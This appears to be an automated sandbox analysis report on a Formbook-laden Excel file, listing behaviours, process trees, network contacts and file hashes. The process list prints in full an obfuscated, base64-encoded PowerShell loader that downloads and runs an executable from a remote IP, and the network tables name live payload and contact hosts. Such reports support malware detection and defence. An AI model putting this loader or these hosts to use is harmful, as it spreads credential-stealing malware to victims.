Analysis Overview
SHA256
b171b5e7c7abd247edcc25f1c00301e89f1e9715ed6d98f03f4b6a6674c5834b
Threat Level: Known bad
The file 29082024_0144_28082024_Nuevo orden agosto.xls was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Formbook
Formbook payload
Evasion via Device Credential Deployment
Blocklisted process makes network request
Downloads MZ/PE file
Executes dropped EXE
Loads dropped DLL
Drops file in System32 directory
Suspicious use of SetThreadContext
System Location Discovery: System Language Discovery
Enumerates physical storage devices
Suspicious behavior: MapViewOfSection
Suspicious use of WriteProcessMemory
Uses Volume Shadow Copy WMI provider
Uses Volume Shadow Copy service COM API
Suspicious behavior: EnumeratesProcesses
Modifies Internet Explorer settings
Uses Task Scheduler COM API
Suspicious use of AdjustPrivilegeToken
Suspicious use of SetWindowsHookEx
Checks processor information in registry
Suspicious behavior: AddClipboardFormatListener
Enumerates system info in registry
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-29 01:44
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-29 01:44
Reported
2024-08-29 01:47
Platform
win7-20240729-en
Max time kernel
146s
Max time network
142s
Command Line
Signatures
Formbook
Formbook payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Evasion via Device Credential Deployment
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\MeMpEng.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\MeMpEng.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 1536 set thread context of 2572 | N/A | C:\Users\Admin\AppData\Roaming\MeMpEng.exe | C:\Users\Admin\AppData\Roaming\MeMpEng.exe |
| PID 2572 set thread context of 1392 | N/A | C:\Users\Admin\AppData\Roaming\MeMpEng.exe | C:\Windows\Explorer.EXE |
| PID 2572 set thread context of 1392 | N/A | C:\Users\Admin\AppData\Roaming\MeMpEng.exe | C:\Windows\Explorer.EXE |
| PID 1220 set thread context of 1392 | N/A | C:\Windows\SysWOW64\msdt.exe | C:\Windows\Explorer.EXE |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Roaming\MeMpEng.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\msdt.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-2257386474-3982792636-3902186748-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\MeMpEng.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\MeMpEng.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\MeMpEng.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\MeMpEng.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\msdt.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\msdt.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\MeMpEng.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\msdt.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\29082024_0144_28082024_Nuevo orden agosto.xls"
C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe -Embedding
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" "/C powErShElL -EX byPasS -nOP -W 1 -c dEviceCrEdeNtIalDePLOyMENT ; iex($(iEX('[systeM.text.encodIng]'+[ChAR]58+[ChAR]0x3A+'uTf8.gETstRiNg([sYSTEM.cONveRt]'+[chAR]0x3a+[ChAR]58+'froMBasE64strINg('+[cHAr]34+'JE5JTWhGTFlIRk4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBZEQtdHlQZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVNYmVSRGVGaW5pdElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNY2lwcWpxLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIS0Qsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhWLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUlFtcUlSVXV6LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBuR29iUFF4dCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZ3lNbG9uUVIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lc3BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeGh2Y3lnR21Ma28gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTklNaEZMWUhGTjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzQ1Ljg5LjI0Ny4xNTEvNDU4L01lTXBFbmcuZXhlIiwiJGVuVjpBUFBEQVRBXE1lTXBFbmcuZXhlIiwwLDApO1NUQXJ0LVNMZWVQKDMpO1N0YXJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcTWVNcEVuZy5leGUi'+[chaR]0X22+'))')))"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powErShElL -EX byPasS -nOP -W 1 -c dEviceCrEdeNtIalDePLOyMENT ; iex($(iEX('[systeM.text.encodIng]'+[ChAR]58+[ChAR]0x3A+'uTf8.gETstRiNg([sYSTEM.cONveRt]'+[chAR]0x3a+[ChAR]58+'froMBasE64strINg('+[cHAr]34+'JE5JTWhGTFlIRk4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBZEQtdHlQZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVNYmVSRGVGaW5pdElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNY2lwcWpxLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIS0Qsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhWLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUlFtcUlSVXV6LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBuR29iUFF4dCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZ3lNbG9uUVIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lc3BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeGh2Y3lnR21Ma28gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTklNaEZMWUhGTjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzQ1Ljg5LjI0Ny4xNTEvNDU4L01lTXBFbmcuZXhlIiwiJGVuVjpBUFBEQVRBXE1lTXBFbmcuZXhlIiwwLDApO1NUQXJ0LVNMZWVQKDMpO1N0YXJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcTWVNcEVuZy5leGUi'+[chaR]0X22+'))')))"
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\tzdsmlu7.cmdline"
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3CF2.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC3CF1.tmp"
C:\Users\Admin\AppData\Roaming\MeMpEng.exe
"C:\Users\Admin\AppData\Roaming\MeMpEng.exe"
C:\Users\Admin\AppData\Roaming\MeMpEng.exe
"C:\Users\Admin\AppData\Roaming\MeMpEng.exe"
C:\Windows\SysWOW64\msdt.exe
"C:\Windows\SysWOW64\msdt.exe"
C:\Windows\SysWOW64\cmd.exe
/c del "C:\Users\Admin\AppData\Roaming\MeMpEng.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | zhort.de | udp |
| DE | 88.99.66.38:443 | zhort.de | tcp |
| US | 8.8.8.8:53 | e6.o.lencr.org | udp |
| GB | 92.123.143.218:80 | e6.o.lencr.org | tcp |
| NL | 45.89.247.151:80 | 45.89.247.151 | tcp |
| DE | 88.99.66.38:443 | zhort.de | tcp |
| NL | 45.89.247.151:80 | 45.89.247.151 | tcp |
| NL | 45.89.247.151:80 | 45.89.247.151 | tcp |
| US | 8.8.8.8:53 | www.5sawit777.pro | udp |
| SG | 172.96.191.238:80 | www.5sawit777.pro | tcp |
| US | 8.8.8.8:53 | www.5sawit777.pro | udp |
| SG | 172.96.191.238:80 | www.5sawit777.pro | tcp |
| US | 8.8.8.8:53 | www.5ldym2.shop | udp |
| US | 8.8.8.8:53 | www.lubfitgrowth.xyz | udp |
| US | 8.8.8.8:53 | www.itesmiledl.net | udp |
| US | 8.8.8.8:53 | www.xrduxsd220.xyz | udp |
Files
memory/3040-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/3040-1-0x000000007208D000-0x0000000072098000-memory.dmp
memory/2908-18-0x0000000002C20000-0x0000000002C22000-memory.dmp
memory/3040-19-0x0000000002EB0000-0x0000000002EB2000-memory.dmp
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7E8BDF27898FD04B591B0B0011B10808
| MD5 | f9566984e5f964d900d054591e995128 |
| SHA1 | d319131809626aa276df82dcca849ad0ff0c048f |
| SHA256 | 7e4c57c0eb315d2069e8adbb705c282efff0355d659194f55f9264bb356c593d |
| SHA512 | 61cd10b3da03b7f737db7e3e95cc69a13429e879d3a3508d14b5aa0643fbf9b48265865c48b18761009edf73cc3a5fbd6a6ba7570de03dec541bf769ac9b9746 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
| MD5 | 822467b728b7a66b081c91795373789a |
| SHA1 | d8f2f02e1eef62485a9feffd59ce837511749865 |
| SHA256 | af2343382b88335eea72251ad84949e244ff54b6995063e24459a7216e9576b9 |
| SHA512 | bacea07d92c32078ca6a0161549b4e18edab745dd44947e5f181d28cc24468e07769d6835816cdfb944fd3d0099bde5e21b48f4966824c5c16c1801712303eb6 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
| MD5 | d38582100e02b55c52f0abf17f341af4 |
| SHA1 | 84b215051a94357b63b4cfb5eaff4cdb33882440 |
| SHA256 | a8f00a3577f30d397672d1a4ee31571f638dc9cd4b4e46c4510714dd765b2c03 |
| SHA512 | 0a0d97c3873388c13efcb5ef2b370cabf07ffb2466c9e2d50fb2c4189cb3786621232963cc70126a04483e91e8c907cc6f2e74e37de11252161064338c0a1c16 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7E8BDF27898FD04B591B0B0011B10808
| MD5 | 2a22d79f810194591562f5550fd2fdaf |
| SHA1 | 9085f1492a5bcc3f539169ebd82cbe8ead4f4eec |
| SHA256 | d0321588aa29241312e1508e1013faabd7a815767235104fbe3a6b9b5600d9f1 |
| SHA512 | 281e6f5ad830fb2cc0c08618a13b14b9e82a944ab2efb32999d2f9a89ae3be6854f9cf60de2910f3866a14deda74719d8676de82932ea3fdd581ecc75092b579 |
C:\Users\Admin\AppData\Local\Temp\Cab37C3.tmp
| MD5 | 49aebf8cbd62d92ac215b2923fb1b9f5 |
| SHA1 | 1723be06719828dda65ad804298d0431f6aff976 |
| SHA256 | b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f |
| SHA512 | bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
| MD5 | 926df9f09fc03fc48bc375b94a59ac53 |
| SHA1 | 8cbf5ed6a69d5bfa85e751f0bc6d652e68147fec |
| SHA256 | 1f62c69cf106a48f05344730b0c807e08b84794393a16920710de35dccd5fe1e |
| SHA512 | 971ac7dc7b532b10344f7f919140a81b42dd8a860c215288f2fb659ffe776683284b67ac587193fca841af904429f4ad631a516b3f06a2514c38ba387fa8da85 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6GL24G53\IEnetworthUpdated[1].hta
| MD5 | 87635cf66104074c53e698677de6002b |
| SHA1 | 958ba282403c968f0dc8631aa396b8a73612ffe3 |
| SHA256 | 4768f32e03962166a83fab45ea2e5865291e66bff359c547573ca34da6fe78cf |
| SHA512 | 7976b9820a1494953d6b99982e696a9faed599bc8ec932e92285ab10eb5db8d6ff76794309d062c8e8410e1142d06f75a70c417ea646e0adb5b42a2c55a3e31d |
\??\c:\Users\Admin\AppData\Local\Temp\tzdsmlu7.cmdline
| MD5 | eac48470226ecca10dd0ca11d529d8f7 |
| SHA1 | f0b5b6b50c4c7a152e65ec87dddd105536f6ca56 |
| SHA256 | 0feda6d4d2b05ecdde385be444c2544de93e53d5836e3b337306ab61ea597f36 |
| SHA512 | b663dd3ee88541e1d474ee82ea386bfa2dbf9090ae4158cc011003162444af588d60142cc0edad414950ed4f51a16be49cf2512386e61387946f2947361ef2fd |
\??\c:\Users\Admin\AppData\Local\Temp\tzdsmlu7.0.cs
| MD5 | f2a64cd1f09c060d9412d84239f92021 |
| SHA1 | 8053849b3e79d63181b74207b19e76775a248982 |
| SHA256 | 2f6ec9f074eca2e37185fbec988ed8bd98be664feeec718f77cc489413ddd1d7 |
| SHA512 | f7661e45c4752e6457741d1bd753e25e1b624fd0c85062b74c0a8d0334c4b7a7fb4ef58295b31607ad427b08d8b87b730025b33fbd3b60041af83e29dbb95513 |
C:\Users\Admin\AppData\Local\Temp\RES3CF2.tmp
| MD5 | d999f5d2dfe120849537621c9b7f2e81 |
| SHA1 | 3e64d1fcd139df85d0e71ef83dee9028b88ea63b |
| SHA256 | 4da1badd97443afba14ebd96c8d76b4d2e7acddf45cc0d2c8d77b8efae3bee67 |
| SHA512 | e82a11e09794773f316c1944e248410d830547c1d8cc13ec4b616ef86b9d40efdcdd581d8d53649c054ff1cd8676dae83395d08b50425b2b316c2dc6b4763e1b |
\??\c:\Users\Admin\AppData\Local\Temp\CSC3CF1.tmp
| MD5 | cf5a364d75ec01854a552bb49dd20640 |
| SHA1 | 24b28726b5255edafcfb8974c42b1f0e4fde4706 |
| SHA256 | 940be207b263540c536e5ca6cca04f9975a6593630d3e22f98c80bc46952a23f |
| SHA512 | 2fdde78b5485bb3aa2fb44c7d8787696682d6a8d9096eb09f9ec89cb5216e4e5bf2cb094447ebdc3ae1f923f32a629965e8e9e85d0a119ae9839a8ba9321ab68 |
C:\Users\Admin\AppData\Local\Temp\tzdsmlu7.dll
| MD5 | 7bca2684abcbdd567785c28658cc7395 |
| SHA1 | 2d5d6d3e4ee1033afd0b3f4cb869f8b212a92cba |
| SHA256 | 1dba6147e1ea9f4e64e699f5775348fc020e5a22f14780ee527ca9c7a04fea2d |
| SHA512 | ba4e3a102e5801654e5333859e27bd308c8fc242da4e420528845939bb2cd47db7c00a78a996961a775ba7d81058510b1e3123cd7c7ac2f8fa094a1388171f89 |
C:\Users\Admin\AppData\Local\Temp\tzdsmlu7.pdb
| MD5 | c44a3ca81090c6eb4168f2baa4c647a4 |
| SHA1 | 23ad6ef2f427404d64bbe16b0ee95ec8eb6599fb |
| SHA256 | c5da80199072c6617a65bbae884d04fcaea47b43b5055321eb7f022eecea49a0 |
| SHA512 | 99fb6479f4eb7b83edc78002353b45b7af2ee57b9dd665386f11da6aa84bac0de0083d8405178e7be9709b38973253534b23b85cc47d9cee892a693626f61fdf |
C:\Users\Admin\AppData\Roaming\MeMpEng.exe
| MD5 | dd2e0becfb1316c49975386fc3367c45 |
| SHA1 | 98c578ff997ef781919ca5967251fa9d462a756e |
| SHA256 | 14d4d6df33e96af2a1d5ef8f8e7f6f1b914b0342b219c75f812848f52bc27628 |
| SHA512 | 4768fa7aa32dc02e958c8506880311bb0d4fa5a9cd9fcdc6581a8349b1d85b3323513d28018b55ffbdb79e440e4b371dfb260cbd097ffd2279993b9a1a416bfb |
memory/1536-64-0x0000000001230000-0x00000000012CC000-memory.dmp
memory/1536-65-0x0000000000600000-0x0000000000618000-memory.dmp
memory/3040-66-0x000000007208D000-0x0000000072098000-memory.dmp
memory/1536-67-0x0000000000E10000-0x0000000000E86000-memory.dmp
memory/2572-72-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
memory/2572-73-0x0000000000400000-0x000000000042F000-memory.dmp
memory/2572-70-0x0000000000400000-0x000000000042F000-memory.dmp
memory/2572-68-0x0000000000400000-0x000000000042F000-memory.dmp
memory/2572-76-0x0000000000400000-0x000000000042F000-memory.dmp
memory/1392-77-0x0000000005010000-0x00000000050F0000-memory.dmp
memory/1220-78-0x0000000000030000-0x0000000000124000-memory.dmp
memory/1220-79-0x0000000000180000-0x00000000001AF000-memory.dmp
memory/1392-82-0x00000000075C0000-0x00000000076A0000-memory.dmp
memory/3040-93-0x000000007208D000-0x0000000072098000-memory.dmp
memory/3040-90-0x000000005FFF0000-0x0000000060000000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-29 01:44
Reported
2024-08-29 01:47
Platform
win10v2004-20240802-en
Max time kernel
143s
Max time network
125s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\System32\mshta.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 564 wrote to memory of 2644 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\mshta.exe |
| PID 564 wrote to memory of 2644 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\mshta.exe |
Uses Task Scheduler COM API
Uses Volume Shadow Copy WMI provider
Uses Volume Shadow Copy service COM API
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\29082024_0144_28082024_Nuevo orden agosto.xls"
C:\Windows\System32\mshta.exe
C:\Windows\System32\mshta.exe -Embedding
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 217.106.137.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.89.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| GB | 52.109.28.47:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | zhort.de | udp |
| DE | 88.99.66.38:443 | zhort.de | tcp |
| US | 8.8.8.8:53 | 81.144.22.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 47.28.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 38.66.99.88.in-addr.arpa | udp |
| US | 8.8.8.8:53 | e6.o.lencr.org | udp |
| GB | 92.123.143.219:80 | e6.o.lencr.org | tcp |
| NL | 45.89.247.151:80 | 45.89.247.151 | tcp |
| US | 8.8.8.8:53 | 168.245.100.95.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 151.247.89.45.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 219.143.123.92.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 150.171.28.10:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 4.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 10.28.171.150.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 25.73.42.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 196.249.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.126.166.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 73.144.22.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 19.229.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 43.58.199.20.in-addr.arpa | udp |
Files
memory/564-1-0x00007FFC7AF8D000-0x00007FFC7AF8E000-memory.dmp
memory/564-0-0x00007FFC3AF70000-0x00007FFC3AF80000-memory.dmp
memory/564-3-0x00007FFC3AF70000-0x00007FFC3AF80000-memory.dmp
memory/564-2-0x00007FFC3AF70000-0x00007FFC3AF80000-memory.dmp
memory/564-4-0x00007FFC3AF70000-0x00007FFC3AF80000-memory.dmp
memory/564-8-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp
memory/564-7-0x00007FFC3AF70000-0x00007FFC3AF80000-memory.dmp
memory/564-6-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp
memory/564-11-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp
memory/564-14-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp
memory/564-13-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp
memory/564-15-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp
memory/564-18-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp
